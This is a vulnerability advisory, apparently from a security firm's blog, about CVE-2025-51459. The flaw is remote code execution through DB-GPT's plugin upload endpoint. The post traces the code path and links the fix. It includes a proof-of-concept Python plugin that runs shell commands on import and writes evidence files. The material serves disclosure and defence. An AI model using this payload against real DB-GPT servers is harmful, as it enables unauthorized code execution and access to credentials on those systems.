Skip to content
CVE-2025-51459: DB-GPT RCE in DB-GPT Plugin Upload System

CVE-2025-51459: DB-GPT RCE in DB-GPT Plugin Upload System

Grayscale portrait of a young man looking left, wearing a striped lanyard, with an olive green dot pattern background.Artemiy Malyshau· Co-founder & CTO2 min read
On this page

Description#

An RCE was found in the plugin upload functionality through the /v1/personal/agent/upload endpoint. While basic controls are in place for filename sanitization and path traversal prevention via _sanitize_filename(), there is no validation of the actual plugin code content. An attacker can upload a malicious Python file that passes the filename checks but contains arbitrary code. This code will be executed when the plugin is loaded through scan_plugins() during the refresh_plugins() call. The vulnerability is exploitable remotely through the FastAPI endpoint.

Source - Sink Analysis#

  1. Source: personal_agent_upload() in packages/dbgpt-serve/src/dbgpt_serve/agent/hub/controller.py
  • Entry point accepting user file upload pythonCopy<code class=“hljs language-python”><span class=“hljs-meta”>@router.post(<span class=“hljs-params”><span class=“hljs-string”>“/v1/personal/agent/upload”</span>, response_model=Result[<span class=“hljs-built_in”>str</span>]</span>)</span> </code>
  1. Intermediate: _sanitize_filename() in packages/dbgpt-serve/src/dbgpt_serve/agent/hub/plugin_hub.py
  • Sanitizes filename but does not validate code content: pythonCopy<code class=“hljs language-python”>safe_filename = <span class=“hljs-variable language_“>self</span>._sanitize_filename(doc_file.filename) </code>
  1. Intermediate: scan_plugins() in packages/dbgpt-core/src/dbgpt/agent/resource/tool/autogpt/plugins_util.py
  • Loads and executes plugin code during import: pythonCopy<code class=“hljs language-python”>my_plugins = scan_plugins(<span class=“hljs-variable language_“>self</span>.plugin_dir, safe_filename) </code>
  1. Sink: refresh_plugins() in packages/dbgpt-serve/src/dbgpt_serve/agent/hub/controller.py
  • Executes loaded plugin code through AutoGPTPluginToolPack: pythonCopy<code class=“hljs language-python”>module_plugin.refresh_plugins() </code>

Proof of Concept:#

The attack can be triggered through a single HTTP request to the /v1/personal/agent/upload endpoint, requires no special permissions or authentication beyond access to the endpoint, and code execution happens silently during the plugin loading process, even if plugin validation eventually fails.

Create malicious init.py with payload

python
# code executes immediately upon import
import os
import datetime
import subprocess
import socket

# create evidence file
timestamp = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
with open('/tmp/rce_${EXPLOIT_ID}.txt', 'w') as f:
    f.write(f'RCE executed at {timestamp}\\n')
    f.write(f'Hostname: {socket.gethostname()}\\n')

# execute commands with root privileges
output = subprocess.check_output('whoami && id && hostname', shell=True).decode('utf-8')
with open('/tmp/rce_cmd_${EXPLOIT_ID}.txt', 'w') as f:
    f.write(output)

from auto_gpt_plugin_template import AutoGPTPluginTemplate

class ExploitPlugin(AutoGPTPluginTemplate):
    def __init__(self):
        super().__init__()
        self._name = "RCE-Demo"
        self._version = "0.1.0"
        self._description = "RCE demo"
    
    def can_handle_post_prompt(self):
        return False
        
    def post_prompt(self, prompt):
        return prompt

Impact#

Attackers can:

  • Execute arbitrary code with the privileges of the user running DB-GPT (default root in containerized deployments).
  • Access sensitive information such as system files, environment variables, and credentials.
  • Establish persistence on the target system and pivot to other systems within the victim’s network.

Fix: https://github.com/eosphoros-ai/DB-GPT/pull/2649

Grayscale portrait of a young man looking left, wearing a striped lanyard, with an olive green dot pattern background.

Artemiy Malyshau

Co-founder & CTO

Artemiy served in an elite unit of the Austrian Cyber Forces, defending national infrastructure He was then the first employee at a government-backed cybersecurity research group, where he led security projects for Interpol and national governments. At Gecko he builds the platform trusted to sit inside Fortune 500 codebases, and holds it to the standard those governments taught him.

Frequently asked questions

Related content

The latest news, technologies, and resources from our team.

Subscribe to the Gecko newsletter

Occasional updates, new content, and insights. No spam; unsubscribe anytime.

We use your email only to send you our newsletter. See our privacy policy for how we handle your data. You can unsubscribe at any time.